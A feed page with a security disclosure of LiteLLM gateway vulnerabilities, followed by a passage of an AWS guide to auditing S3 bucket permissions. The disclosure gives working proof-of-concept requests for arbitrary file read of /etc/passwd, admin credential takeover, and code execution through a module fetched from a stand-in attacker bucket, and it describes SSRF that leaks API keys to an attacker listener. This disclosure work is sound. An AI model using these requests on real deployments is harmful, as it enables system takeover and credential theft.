❌

Normal view

When LLM Gateways Go Wrong: Findings from LiteLLM

By: etal
13 October 2026 at 16:30

TL;DR;

Our security assessment of LiteLLM (v1.77.7), a widely used open-source LLM gateway, uncovered multiple high-impact vulnerabilities (tracked as CVE-2026-35029, CVE-2026-59823) which have been resolved as of LiteLLM version 1.83.9.

The most significant issues stemmed from a missing authorization check on the /config/update endpoint, which allowed any authenticated user (including low-privileged accounts) to modify the proxy’s runtime configuration. This single flaw enabled arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate SSRF vulnerability in the “Clientside LLM Credentials” feature allowed attackers to redirect API calls and exfiltrate provider keys. These findings highlight that as AI infrastructure tools rapidly evolve, foundational security practices like proper access control and input validation remain essential.

Introduction

As LLM gateways see wider adoption, understanding the security risks they introduce is essential to deploying them safely within an AI stack. These systems sit between applications and model providers and often handle credentials, configuration, and request routing. We decided to take a closer look at LiteLLM, one of the most popular LLM gateways in use today. What started as an exploratory review uncovered multiple high severity vulnerabilities, including credential extraction, access control bypass, and remote code execution. This post presents our findings and highlights the security pitfalls that can arise in LLM gateway deployments and the wider LLM ecosystem.

What are LLM Gateways?

LLM gateways are systems that sit between an application and one or more LLM providers. Instead of calling model APIs directly, applications route requests through a gateway, which then forwards those requests to the appropriate model backend.

In practice, LLM gateways are often used to centralize concerns such as provider abstraction, credential management, request routing, rate limiting, logging, and usage tracking. Many gateways also add higher level features like fallback logic, load balancing across providers, and configuration driven model selection.

LiteLLM

LiteLLM is an open-source project that provides an SDK and a gateway product for working with multiple LLM providers. The project originated through Y Combinator and is widely used across the LLM ecosystem.

In this post, we focus exclusively on the LiteLLM gateway. The gateway is commonly deployed as a standalone service and plays a central role in how LLM requests are handled in many LLM-based applications. Its widespread adoption and position in the request path made it a suitable target for our research.

Our review of LiteLLM was conducted against version 1.77.7. The sections below outline the defects we discovered in the LiteLLM gateway.

Access Control Bypass in /config Endpoint

The LiteLLM proxy exposes an administrative endpoint ‘POST /config/update’, designed to allow runtime modifications to the proxy configuration. This endpoint facilitates updating critical settings, including environment variables, model lists, and general proxy settings.

The Vulnerability

The vulnerability stems from a missing role-based access control (RBAC) check within the endpoint’s implementation, combined with an overly permissive route allowlist for UI sessions.

1. Missing Function-Level Authorization

In secure administrative endpoints within LiteLLM (e.g., /invitation/new), the code explicitly verifies that the authenticated user possesses the PROXY_ADMIN role before proceeding.

Secure Example (/invitation/new in litellm/proxy/proxy_server.py):

@router.post(
“/invitation/new”,
tags=[“Invite Links”],
dependencies=[Depends(user_api_key_auth)],
response_model=InvitationModel,
include_in_schema=False,
)
async def new_invitation(
data: InvitationNew, user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth)
):
# …
# Explicit Role Check
if user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN:
raise HTTPException(
status_code=400,
detail={
“error”: “{}, your role={}”.format(
CommonProxyErrors.not_allowed_access.value,
user_api_key_dict.user_role,
)
},
)
# … business logic …

However, the update_config function relies entirely on the generic user_api_key_auth dependency without performing a subsequent role check on the returned user object.

Vulnerable Code (/config/update in litellm/proxy/proxy_server.py):

@router.post(
“/config/update”,
dependencies=[Depends(user_api_key_auth)], # Only generic auth check
include_in_schema=False,
)
async def update_config(config_info: ConfigYAML):
# …
# MISSING: if user_role != PROXY_ADMIN: raise …
# …
# Proceed to update configuration
await proxy_config.save_config(new_config=config)

2. Route Allowlist Bypass via UI Token Classification

The user_api_key_auth dependency delegates authorization to a common_checks function. This function determines if a request is allowed based on the user’s role and the target route.

Step 2.a: UI Login Creates Token with litellm-dashboard Team

When any user logs into the LiteLLM UI, the backend generates a temporary API key explicitly associated with the special litellm-dashboard team. This occurs in multiple login flows:

# litellm/proxy/proxy_server.py (login flows at lines ~7962, ~8066, ~8203)
response = await generate_key_helper_fn(
request_type=”key”,
**{
“user_role”: user_role,
“duration”: “24hr”,
“key_max_budget”: litellm.max_ui_session_budget,
“models”: [],
“aliases”: {},
“config”: {},
“spend”: 0,
“user_id”: user_id,
“team_id”: “litellm-dashboard”, # <– Key assignment
},
)

Step 2.b: Token Classification Based on Team ID

During authorization, common_checks classifies tokens as either “ui” or “api” based solely on the team_id field:

# litellm/proxy/auth/auth_checks.py (lines 224-227)
token_team = getattr(valid_token, “team_id”, None)
token_type: Literal[“ui”, “api”] = (
“ui” if token_team is not None and token_team == “litellm-dashboard” else “api”
)

Step 2.c: UI Tokens Get Permissive Route Check

If the token is classified as “ui”, the authorization logic routes to _is_ui_route() instead of the stricter _is_api_route_allowed():

# litellm/proxy/auth/auth_checks.py (lines 335-356)
def _is_allowed_route(
route: str,
token_type: Literal[“ui”, “api”],
# …
) -> bool:
if token_type == “ui” and _is_ui_route(route=route, user_obj=user_obj):
return True # <– Bypasses stricter API route checks
else:
return _is_api_route_allowed(…)

Step 2.d: Prefix Matching Allows /config/update

The ui_routes list includes /config, likely intended to allow reading configuration:

# litellm/proxy/_types.py (lines 490-510)
ui_routes = [
“/sso”,
“/sso/get/ui_settings”,
“/login”,
“/key/info”,
“/config”, # <– Likely intended for read-only config access
“/spend”,
# …
]

The _is_ui_route function uses startswith matching:

# litellm/proxy/auth/auth_checks.py (lines 247-269)
def _is_ui_route(route: str, …) -> bool:
allowed_routes = LiteLLMRoutes.ui_routes.value
if (
route is not None
and isinstance(route, str)
and any(route.startswith(allowed_route) for allowed_route in allowed_routes)
):
return True # <– /config/update matches startswith(“/config”)

Because /config/update satisfies startswith(“/config”), the check passes. The request is permitted for any user with a valid UI session token, regardless of their actual role (Admin, Internal User, etc.).

Impact

This access control failure allows any authenticated user, including those with the baseline “Internal User” role, to invoke POST /config/update and modify the proxy’s runtime configuration. Through this single exposed endpoint, attackers can achieve:

  • Arbitrary File Read
  • Administrative Account Takeover
  • Remote Code Execution via Pass-Through Endpoints

Each of these exploitation scenarios is detailed in the following sections.

Arbitrary File Read

Impact: Read any file accessible to the LiteLLM process, including configuration files, secrets, and credentials.

The /config/update endpoint accepts an environment_variables field, allowing callers to inject arbitrary key-value pairs into the proxy’s environment. One such variable, UI_LOGO_PATH, controls the file path served by the /get_image endpoint. By setting this variable to a sensitive file path, an attacker can read arbitrary files from the server.

Source: Environment Variable Injection

When /config/update receives environment variables, it encrypts and persists them to the configuration store. This results in the following code being executed, which decrypts these values and writes them directly to os.environ:

# litellm/proxy/proxy_server.py (lines 2841-2860)
def _decrypt_and_set_db_env_variables(self, environment_variables: dict) -> dict:
“””
Decrypts a dictionary of environment variables and then sets them in the environment
“””
decrypted_env_vars = {}
for k, v in environment_variables.items():
try:
decrypted_value = decrypt_value_helper(value=v, key=k)
if decrypted_value is not None:
os.environ[k] = decrypted_value # <– Attacker-controlled value set here
decrypted_env_vars[k] = decrypted_value
except Exception as e:
verbose_proxy_logger.error(
“Error setting env variable: %s – %s”, k, str(e)
)
return decrypted_env_vars

Sink: Unvalidated File Path in `/get_image`

The `/get_image` endpoint reads `UI_LOGO_PATH` from the environment and serves the file at that path without any validation:

# litellm/proxy/proxy_server.py (lines 8329-8358)
@app.get(“/get_image”, include_in_schema=False)
def get_image():
“””Get logo to show on admin UI”””

current_dir = os.path.dirname(os.path.abspath(__file__))
default_logo = os.path.join(current_dir, “logo.jpg”)

logo_path = os.getenv(“UI_LOGO_PATH”, default_logo) # <– Attacker-controlled
verbose_proxy_logger.debug(“Reading logo from path: %s”, logo_path)

if logo_path.startswith((“http://”, “https://”)):
# … remote URL handling …
else:
# Return the local image file if the logo path is not an HTTP/HTTPS URL
return FileResponse(logo_path, media_type=”image/jpeg”) # <– Arbitrary file read

Proof of Concept

Step 1: Inject `UI_LOGO_PATH ` environment variable

POST /config/update HTTP/1.1
Host: localhost:4000
Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]
Content-Type: application/json

{
“environment_variables”: {
“UI_LOGO_PATH”: “/etc/passwd”
}
}

Step 2: Retrieve file contents

GET /get_image HTTP/1.1
Host: localhost:4000

Response:

HTTP/1.1 200 OK
content-type: image/jpeg
content-length: 812

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
[…]
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nonroot:x:65532:65532:Account created by apko:/home/nonroot:/bin/sh

The server returns the contents of /etc/passwd, demonstrating arbitrary file read capability.

Administrative Account Take Over

Impact: a low-privilege user can assume control over the default administrative account for the LiteLLM instance, allowing total control over the gateway and access to any contained provider credentials.

The same environment variable injection primitive can be used to hijack administrative access to the LiteLLM proxy. The UI login flow authenticates users against the UI_USERNAME and UI_PASSWORD environment variables. By overwriting these values, an attacker can set their own credentials and log in as a full Proxy Admin.

Vulnerable Authentication Flow

The `/login` endpoint reads credentials directly from environment variables:

# litellm/proxy/proxy_server.py (lines 7882-7896)
form = await request.form()
username = str(form.get(“username”))
password = str(form.get(“password”))
ui_username = os.getenv(“UI_USERNAME”, “admin”) # <– Attacker-controlled
ui_password = os.getenv(“UI_PASSWORD”, None) # <– Attacker-controlled
if ui_password is None:
ui_password = str(master_key) if master_key is not None else None

When credentials match, the user is granted full administrative privileges:

# litellm/proxy/proxy_server.py (lines 7922-7927)
if secrets.compare_digest(username, ui_username) and secrets.compare_digest(
password, ui_password
):
# Non SSO -> If user is using UI_USERNAME and UI_PASSWORD they are Proxy admin
user_role = LitellmUserRoles.PROXY_ADMIN
user_id = litellm_proxy_admin_name

Proof of Concept

Step 1: Inject attacker-controlled credentials

When authenticated via the UI, the user can update the administrator credentials with the following POST request:

POST /config/update HTTP/1.1
Host: localhost:4000
Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]
Content-Type: application/json

{
“environment_variables”: {
“UI_USERNAME”: “hacker”,
“UI_PASSWORD”: “hacker”
}
}

Step 2: Log in with the injected credentials

Navigate to the LiteLLM UI login page and authenticate with:

  • Username: hacker
  • Password: hacker

The screenshot below shows the full HTTP request/response pair associated with the login request, showing the new username and password being used, and the request being accepted with the server issuing a JWT for the built-in ‘admin’ account.

The next screenshot shows the UI of the dashboard, showing we are indeed logged in as the default admin user.

Remote Code Execution via Pass Through Endpoints

Impact: A low-privilege user can obtain full remote-code execution on the LiteLLM gateway, allowing arbitrary command execution or an interactive reverse shell. Providing full access to all LiteLLM data and a foothold into the network where the LiteLLM gateway is deployed.

LiteLLM supports “pass-through endpoints” that can proxy requests to external services or load custom adapter modules. The /config/update endpoint allows defining pass-through endpoints with a target parameter that supports loading Python modules from remote storage (S3 or GCS). When a target URL starts with s3:// or gcs://, LiteLLM downloads and executes the Python file, leading to remote code execution.

Attack Chain

Step 1: Configuration Update Triggers Endpoint Initialization

When /config/update receives general_settings.pass_through_endpoints, it calls _update_general_settings() which initializes the endpoints:

# litellm/proxy/proxy_server.py (lines 2996-3003)
## PASS-THROUGH ENDPOINTS ##
if “pass_through_endpoints” in _general_settings:
general_settings[“pass_through_endpoints”] = _general_settings[
“pass_through_endpoints”
]
await initialize_pass_through_endpoints(
pass_through_endpoints=general_settings[“pass_through_endpoints”]
)

Step 2: Route Creation Invokes Module Loading

During endpoint initialization, the target is passed to create_pass_through_route(), which attempts to load it as an adapter:

# litellm/proxy/pass_through_endpoints/pass_through_endpoints.py (lines 943-947)
try:
if isinstance(target, CustomLogger):
adapter = target
else:
adapter = get_instance_fn(value=target) # <– Loads remote module

Step 3: Remote Module Download and Execution

When the target starts with `s3://` or `gcs://`, `get_instance_fn()` delegates to `_load_instance_from_remote_storage()`:

# litellm/proxy/types_utils/utils.py (lines 8-14)
def get_instance_fn(value: str, config_file_path: Optional[str] = None) -> Any:
module_name = value
instance_name = None
try:
# Check if value starts with s3:// or gcs://
if value.startswith(“s3://”) or value.startswith(“gcs://”):
return _load_instance_from_remote_storage(value, config_file_path)

This function downloads the Python file and executes it using importlib:

# litellm/proxy/types_utils/utils.py (lines 153-159)
# Load the module from the downloaded file using the actual module name
spec = importlib.util.spec_from_file_location(module_path, local_file_path)
if spec is None or spec.loader is None:
raise ImportError(f”Could not create module spec for {local_file_path}”)

module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module) # <– Arbitrary code execution

The call to `exec_module()` executes all top-level code in the downloaded Python file, including import-time side effects.

Proof of Concept

Malicious Adapter (hosted at s3://attacker-bucket /adapters/evil_adapter.py):

import os

# Import-time side effect: create a marker directory
os.makedirs(“/tmp/litellm-pwned”, exist_ok=True)

class PwnAdapter:
def __call__(self, *args, **kwargs):
# No-op adapter; existence is enough for get_instance_fn
return None

# Instance name referenced in the ‘target’
proxy_handler_instance = PwnAdapter()

Step 1: Register the malicious pass-through endpoint

POST /config/update HTTP/1.1
Host: localhost:4000
Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]
Content-Type: application/json

{
“general_settings”: {
“pass_through_endpoints”: [
{
“id”: “pt-rce-poc”,
“path”: “/evil”,
“target”: “s3://attacker-bucket /adapters/evil_adapter.proxy_handler_instance”,
“include_subpath”: true
}
]
}
}

When this request is processed, LiteLLM:

  1. Parses the S3 URL to extract bucket (attacker-bucket) and object key (adapters/evil_adapter.py)
  2. Downloads the Python file to a temporary location
  3. Calls exec_module() which executes the top-level os.makedirs() call
  4. The marker directory /tmp/litellm-pwned is created, confirming code execution

The screenshot below from inside of the Docker container running LiteLLM shows that our arbitrary code was executed and our marker directory was created:

While this proof of concept creates a benign marker directory, an attacker could replace the payload with a reverse shell, credential theft, or any arbitrary code execution.

Server-Side Request Forgery Leading to LLM Provider API key Extraction

Separately from the access control bypass documented above, LiteLLM exposes a documented feature called “Clientside LLM Credentials” that allows any authenticated user to redirect LLM API calls to arbitrary endpoints. This creates a Server-Side Request Forgery (SSRF) vulnerability that can be exploited to steal API credentials or probe internal networks.

Overview

The /chat/completions endpoint (and other LLM endpoints) accepts a user_config parameter in the request body. When present, this parameter causes LiteLLM to create a new router with attacker-controlled settings, including the ability to specify a custom api_base URL.

Vulnerable Code Path

When a request contains `user_config`, the routing logic in `route_llm_request.py` creates a new router with the attacker’s configuration:

# litellm/proxy/route_llm_request.py (lines 122-127)
elif “user_config” in data:
router_config = data.pop(“user_config”)
user_router = litellm.Router(**router_config) # <– Attacker-controlled router
ret_val = getattr(user_router, f”{route_type}”)(**data)
user_router.discard()
return ret_val

No validation is performed on the user_config contents. The attacker can specify a complete model_list with arbitrary api_base values, causing subsequent API calls to be sent to attacker-controlled servers.

Proof of Concept

Attacker’s Server Setup:

Set up a listener on an attacker-controlled server (e.g., 10.10.13.37:9999) to capture incoming requests. In this case, we use a simple netcat listener but any webserver is sufficient.

Malicious Request:

When this request is processed:

  1. LiteLLM creates a new router using the attacker’s model_list
  2. The chat completion request is sent to http://10.10.13.37:9999 instead of the legitimate OpenAI API
  3. The attacker’s server receives the full request, including any configured API keys in the proxy’s default headers

Attacker’s Listener:

Below shows the attacker’s listener that receives the original LLM provider API key which the LiteLLM user should not have access to.

Note: While LiteLLM’s configurable_clientside_auth_params setting restricts direct api_base and api_key parameters in the request body, the user_config parameter follows a different code path that bypasses these restrictions entirely. This allows the documented “Clientside LLM Credentials” feature to be exploited for SSRF without any guardrails.

Miscellaneous Vulnerabilities

During our security assessment, we identified several additional vulnerabilities that, while not directly exploitable for full system compromise, represent significant security weaknesses:

Exposure of Password Hashes

Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8.

The LiteLLM proxy exposes password hashes through various API endpoints, allowing authenticated users to retrieve hashed credentials for other users. This information disclosure increases the attack surface by providing attackers with material that can be subjected to offline cracking attempts. This information is intended to only be accessible to administrative accounts; however, due to the previously described issue with the UI based tokens, a low privileged user can access the password hashes for other accounts.

Insecure Password Hashing

Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8.

Password hashes in LiteLLM are generated using a single iteration of a standard hash function without salting, rather than using modern password hashing algorithms like bcrypt, scrypt, or Argon2. This approach provides minimal protection against brute-force attacks and rainbow table lookups:

  • No Salt: Identical passwords produce identical hashes, enabling rainbow table attacks
  • Single Hash Iteration: Fast hash computation makes brute-force attacks practical
  • Weak Algorithm: Standard cryptographic hashes are not designed for password storage

These weaknesses significantly reduce the effort required for an attacker to crack exposed password hashes.

Assigned CVEs

The vulnerabilities documented in this post were disclosed to the LiteLLM maintainers through a coordinated disclosure process.

  • CVE-2026-35029: Missing Authorization in /config/update endpoint
  • CVE-2026-59823: Server-Side Request Forgery via user_config parameter
  • GHSA-69×8-hrgq-fjj8: [duplicate] Exposure of password key material
  • GHSA-69×8-hrgq-fjj8: [duplicate] Insecure password storage without salting

Conclusions

This security assessment of LiteLLM revealed multiple high-risk vulnerabilities that could be chained together to achieve remote code execution, arbitrary file access, and complete system compromise. The most severe issue, the missing authorization checks in /config/update combined with environment variable injection, demonstrates how a single oversight in access control can cascade into multiple high-impact exploitation paths.

LiteLLM represents an important innovation in the LLM ecosystem, providing a unified interface and management layer for interacting with language models. The rapid development pace in this space has produced powerful tools that solve real problems for organizations deploying AI systems at scale. However, speed of innovation must not come at the expense of fundamental security practices.

The vulnerabilities documented here are not novel attack classes; they include missing authorization checks, path traversal, RCE via dynamic module loading, and insecure password storage. These are well-understood security issues with established mitigation patterns. Their presence in production code highlights a concerning trend: as the AI and LLM ecosystem races forward, traditional security fundamentals are sometimes treated as secondary concerns.

The post When LLM Gateways Go Wrong: Findings from LiteLLM appeared first on Check Point Research.

Securing your Amazon S3 buckets: Identifying and remediating over-permissioned access

7 August 2026 at 18:46

Misconfigured Amazon Simple Storage Service (Amazon S3) buckets can expose your data to unauthorized access. Without proactive review, S3 bucket policies or Access Control Lists (ACLs) configured with broad access may go unnoticed in your environment. In this post, you learn how to identify and fix over-permissioned S3 buckets across your AWS environment, along with best practice recommendations and automation opportunities to help you prevent security gaps. This post provides a workflow framework and methodology recommendations for your security team to adapt. The focus of this post is on the what and why rather than a prescriptive implementation. You will need to customize the approach based on your organization’s requirements and existing security tooling.

This solution is intended for security engineers, cloud architects, and DevOps teams managing single- or multiple-account AWS environments with Amazon S3 workloads that require access management.

Prerequisites

Before you begin, make sure you have the following in place:

Solution overview

This solution uses a five-phase workflow diagram to detect, remediate, and continuously monitor over-permissioned S3 buckets across your AWS accounts. The following workflow diagram illustrates the high-level end-to-end process for identifying and remediating over-permissioned S3 buckets across your Amazon Web Services (AWS) environment.

Figure 1: Amazon S3 over-permissive access – Detection, remediation, monitoring and cleanup workflow

Figure 1: Amazon S3 over-permissive access – Detection, remediation, monitoring and cleanup workflow

The diagram in Figure 1 consists of five phases:

  1. Setup and prerequisites – Configure AWS Organizations or multi-account access, designate a central security account, deploy AWS Config across all accounts, and enable AWS Security Hub with a central administrator.
  2. Detection and identification – Deploy AWS Config rules (such as s3-bucket-public-read-prohibited and s3-bucket-public-write-prohibited) and run an audit Lambda function that scans each S3 bucket. The function checks three areas: Public Access Block configuration, bucket policy status, and bucket ACL grants. Buckets with issues are added to a risky buckets list. The function then generates a report in CSV and JSON format, uploads it to an output S3 bucket, and sends an SNS alert.
  3. Remediation – Address findings using one or more approaches – Apply restrictive bucket policies to deny public read/write access and restrict access to specific IAM principals; deploy a remediation Lambda function to automatically update bucket policies and disable public access settings; or use CloudFormation StackSets to deploy standardized policies across multiple accounts.
  4. Continuous monitoring – Schedule the audit Lambda function for recurring scans (daily or weekly) using Amazon EventBridge. Use EventBridge to detect policy changes, configure automated notifications for new violations, enable IAM Access Analyzer for S3 to identify external access, and run regular compliance scans.
  5. Resource cleanup – Review and delete resources created during the audit that are no longer needed, including Lambda functions and IAM roles, EventBridge rules, SNS topics and subscriptions, audit output S3 buckets, AWS Config rules, and Security Hub (if enabled only for this audit).

Cost considerations

This section covers the AWS services used in this solution and their associated costs so you can estimate spend before deployment. The primary cost drivers are AWS Config and Security Hub, which scale with the number of accounts and resources you monitor. Lambda, Amazon EventBridge, Amazon SNS, and Amazon S3 typically add minimal costs for most environments. Start with a pilot in one or two accounts to validate costs before scaling.

  • AWS Config – Charges per configuration item recorded and per rule evaluation. Costs scale with the number of accounts and resources tracked.
  • Security Hub – Charges per account per AWS Region for security checks and finding ingestion.
  • Lambda – Charges per request and per GB-second of compute time.
  • EventBridge – Scheduled rules are free. Custom event bus usage might incur charges.
  • Amazon SNS – Charges per notification delivered.
  • Amazon S3 – Storage costs for audit report output files. Minimal for most environments.
  • AWS IAM Access Analyzer – Check the AWS IAM Access Analyzer pricing page to understand which features have costs associated with them.

Check the service pricing pages for current rates. Use the AWS Pricing Calculator to estimate costs for your specific environment before enabling services across all accounts. Consider starting with a pilot in one or two accounts to validate costs before scaling.

Detect and report over-permissioned buckets

This section walks you through setting up the audit environment, deploying the Lambda-based scanner, and generating reports of over-permissioned S3 buckets across your accounts. Follow these steps to identify over-permissioned S3 buckets in your multi-account environment, starting with preparing your environment for an Amazon S3 audit.

To set up the multi-account audit environment:

  1. Set up AWS Organizations or multi-account access. Set up centralized management of your AWS accounts using AWS Organizations or configure cross-account IAM roles.
  2. Choose a central security account. Choose one account as your security/audit account. This account will run the audit Lambda function and collect results from member accounts.
  3. Create an Amazon SNS topic for alerts. Subscribe your security team to receive notifications when over-permissioned buckets are detected. Note the topic Amazon Resource Name (ARN) from the output—you will need it when creating the Lambda execution role (step 6) and the Lambda function (step 9). Confirm the email subscription before testing; Amazon SNS doesn’t deliver alerts until the subscription is confirmed. Learn more in the Amazon SNS Developer Guide.
  4. (Optional): Create an S3 bucket for audit reports. If you plan to use Script v2 for historical reporting and trend analysis, create a dedicated bucket now. Skip this step if you only need real-time alerts using Script v1.
  5. Plan cross-account IAM roles. The central security account needs permission to scan member accounts. Design cross-account roles that:
    1. Grant minimum Amazon S3 read permissions (list buckets, read policies, ACLs, public access configurations).
    2. Include an external ID condition to mitigate the confused deputy problem.
    3. Can be deployed consistently using AWS CloudFormation StackSets.
    4. See the IAM documentation on creating cross-account roles, The confused deputy problem, and IAM security best practices for additional guidance on role configuration and trust policies.

      Note: The specific trust policy and permissions policy for your cross-account roles will depend on organizational requirements. Work with your IAM administrators to grant minimum necessary access for the audit function.

  6. Create the Lambda execution role. Create an IAM role for your Lambda function with the permissions it needs to scan buckets, publish alerts, and write logs. Apply the principle of least privilege—grant only the minimum Amazon S3 read permissions required for the audit (such as, listing buckets, reading bucket policies, ACLs, and public access block configurations), Amazon SNS publish permission for the alert topic created in step 3, Amazon S3 write permission for the output bucket created in step 4 (Script v2), and Amazon CloudWatch Logs permissions. For multi-account scanning, also include sts:AssumeRolepermission for the cross-account role ARNs created in step 5. The AWS Lambda execution role documentation has instructions on creating and configuring execution roles.
  7. To deploy the S3 audit solution Deploy the audit components
    1. Enable AWS Config in member accounts. AWS Config provides compliance monitoring and can detect when S3 buckets are created or modified with public access settings. This will enable the Lambda-based audit to receive real-time detection between scheduled scans. The AWS Config Developer Guide has setup instructions. Deploy pre-defined AWS Config rules to identify overly permissive settings. These managed rules provide automated compliance checking. When AWS Config detects violations, it sends findings to Security Hub (configured in step 8) for centralized visibility alongside the Lambda audit results.
      • s3-bucket-public-read-prohibited
      • s3-bucket-public-write-prohibited
      • Create AWS Config rules for specific permission patterns. For the full list of available rules, see the AWS Config managed rules reference
  8. Enable Security Hub for centralized visibility. Enable AWS Security Hub in member accounts and configure the central security account as the administrator. Security Hub aggregates findings from AWS Config rules (step 7), IAM Access Analyzer (enabled later), and can receive custom findings from your Lambda audit function, providing a single dashboard for Amazon S3 security issues across your organization. See the Security Hub User Guide for setup details.
  9. Deploy the audit Lambda function. Deploy a Python Lambda function using the Boto3 library to list S3 buckets, check their policies, ACLs, and IAM permissions, and identify over-permissioned buckets. See the example scripts that follow.

Important: These code examples aren’t production ready. Adapt them to meet your organization’s requirements and test them in a non-production environment before deployment.

Choose your approach:

  • Script v1 – Best for immediate SNS alerts when issues are detected.
  • Script v2 – Best for historical reports, trend analysis using BI tools.
  • Both scripts – Best for different schedules and ongoing needs.

Audit Lambda function – Example script v1 (Scan and alert)

The following is an example of a Lambda function script for reference purposes. Review, adapt, and test before use in your environment, it scans all S3 buckets in the current account and checks for:

  • Public Access block configuration gaps
  • Bucket policies that allow public access
  • ACL grants to AllUsers

Note: Replace placeholder values with actual values before deployment:

  • <REGION>– Your AWS Region (for example, us-east-1)
  • <ACCOUNT_ID>– Your 12-digit AWS account ID
  • <TOPIC_NAME>– The name of your SNS topic created in step 3
import boto3
import json

def lambda_handler(event, context):
    s3 = boto3.client('s3')
    sns = boto3.client('sns')
    risky_buckets = []
    errors = []

    try:
        buckets = s3.list_buckets()['Buckets']
    except Exception as e:
        return {'statusCode': 500, 'body': f'Failed to list buckets: {str(e)}'}

    for bucket in buckets:
        bucket_name = bucket['Name']
        issues = []

        try:
            # Check Public Access Block — all four settings should be enabled
            try:
                pab = s3.get_public_access_block(Bucket=bucket_name)
                config = pab['PublicAccessBlockConfiguration']
                if not all([
                    config.get('BlockPublicAcls'),      # Block new public ACLs
                    config.get('BlockPublicPolicy'),     # Block new public bucket policies
                    config.get('IgnorePublicAcls'),      # Ignore existing public ACLs
                    config.get('RestrictPublicBuckets')   # Restrict access to public buckets
                ]):
                    issues.append('Public Access Block not fully enabled')
            except s3.exceptions.NoSuchPublicAccessBlockConfiguration:
                issues.append('No Public Access Block configured')

            # Check bucket policy — flag if policy status is public
            try:
                policy_status = s3.get_bucket_policy_status(Bucket=bucket_name)
                if policy_status['PolicyStatus']['IsPublic']:
                    issues.append('Bucket policy allows public access')
            except s3.exceptions.NoSuchBucketPolicy:
                pass  # No bucket policy is acceptable

            # Check bucket ACL
            acl = s3.get_bucket_acl(Bucket=bucket_name)
            for grant in acl.get('Grants', []):
                grantee = grant.get('Grantee', {})
                uri = grantee.get('URI', '')
                # 'AllUsers' = anonymous public access
                # 'AuthenticatedUsers' = any AWS account (still overly permissive)
                if grantee.get('Type') == 'Group' and ('AllUsers' in uri or 'AuthenticatedUsers' in uri):
                    issues.append('Bucket ACL grants public access')
                    break

            if issues:
                risky_buckets.append({'bucket': bucket_name, 'issues': issues})

        except Exception as e:
            errors.append(f'{bucket_name}: {str(e)}')

    # Send alert if risky buckets found
    if risky_buckets:
        message = f'Found {len(risky_buckets)} buckets with public access:\n\n'
        for item in risky_buckets:
            message += f"  {item['bucket']}: {', '.join(item['issues'])}\n"

        sns.publish(
            TopicArn='arn:aws:sns:<REGION>:<ACCOUNT_ID>:<TOPIC_NAME>',
            Subject='S3 Public Access Alert',
            Message=message
        )

    return {
        'statusCode': 200,
        'body': json.dumps({
            'risky_buckets': risky_buckets,
            'errors': errors,
            'total_checked': len(buckets)
        })
    }

Multi-account scanning: This script scans the current account only. To scan across member accounts, see the Multi-account extension section later in this post.

Audit Lambda function – Example script v2 (CSV and JSON report)

The following is an example Lambda function script for reference purposes. Before deploying any script, review error handling, logging, output structure, and permissions. This script generates CSV and JSON output files and uploads them to an S3 bucket for reporting and business intelligence (BI) dashboard integration.

You can deploy both functions with different EventBridge schedules, for example, Script v1 daily for alerts and Script v2 weekly for reports.

Note: Before you deploy this script, replace <OUTPUT_BUCKET_NAME> with the S3 bucket you created for audit reports in step 4.

import boto3
import csv
import json
import os

def lambda_handler(event, context):
    s3 = boto3.client('s3')
    buckets = s3.list_buckets()['Buckets']

    full_access_buckets = []
    for bucket in buckets:
        bucket_name = bucket['Name']
        try:
            bucket_policy = s3.get_bucket_policy(Bucket=bucket_name)['Policy']
            policy = json.loads(bucket_policy)
            for statement in policy['Statement']:
                if (statement['Effect'] == 'Allow'
                    and statement['Principal'] == '*'
                    and 'Action' in statement
                    and 's3:*' in statement['Action']):
                    full_access_buckets.append({'BucketName': bucket_name})
                    break
        except s3.exceptions.ClientError as e:
            if e.response['Error']['Code'] != 'NoSuchBucketPolicy':
                print(f'Error checking bucket policy for {bucket_name}: {e}')

    # Output CSV
    csv_output = os.path.join('/tmp', 'full_access_buckets.csv')
    with open(csv_output, 'w', newline='') as csvfile:
        writer = csv.DictWriter(csvfile, fieldnames=['BucketName'])
        writer.writeheader()
        writer.writerows(full_access_buckets)

    # Output JSON
    json_output = os.path.join('/tmp', 'full_access_buckets.json')
    with open(json_output, 'w') as jsonfile:
        json.dump(full_access_buckets, jsonfile, indent=2)

    # Upload to Amazon S3
    output_bucket = '<OUTPUT_BUCKET_NAME>'
    s3.upload_file(csv_output, output_bucket, 'full_access_buckets.csv')
    s3.upload_file(json_output, output_bucket, 'full_access_buckets.json')

    return {
        'statusCode': 200,
        'body': json.dumps(f'CSV and JSON files uploaded to {output_bucket}')
    }

Important: If this function runs on a schedule, consider implementing a file naming strategy with timestamps to prevent overwriting previous reports or establish a lifecycle policy to manage retention. Include the output bucket in your cleanup procedures when the auditing process is no longer needed.

What if no over-permissioned buckets are found?

If the audit scan returns zero risky buckets, document the clean baseline for future comparison and move to the verification and monitoring phase to so new buckets or policy changes don’t introduce risk over time.

Multi-account extension

The preceding example scripts scan buckets in the current account only. To scan across member accounts in your organization, add the following AssumeRole logic. This function assumes the cross-account IAM role you created during setup, then returns an Amazon S3 client with temporary credentials for each member account.

Note: Before you deploy, configure the following Lambda environment variables:

  • <MEMBER_ACCOUNTS> – Comma-separated list of 12-digit account IDs to scan (for example, 111111111111,222222222222)
  • <CROSS_ACCOUNT_ROLE_NAME> – The IAM role name created in each member account (for example, S3AuditRole)
  • <EXTERNAL_ID> – The external ID configured in the trust policy (for example, s3-audit-external-id)
import boto3
import os

def get_member_s3_clients():
    """
    Assumes the cross-account audit role in each member account
    and returns a list of (account_id, s3_client) tuples.
    """
    sts = boto3.client('sts')
    member_accounts = os.environ.get('<MEMBER_ACCOUNTS>', '').split(',')
    cross_account_role_name = os.environ.get('<CROSS_ACCOUNT_ROLE_NAME>')
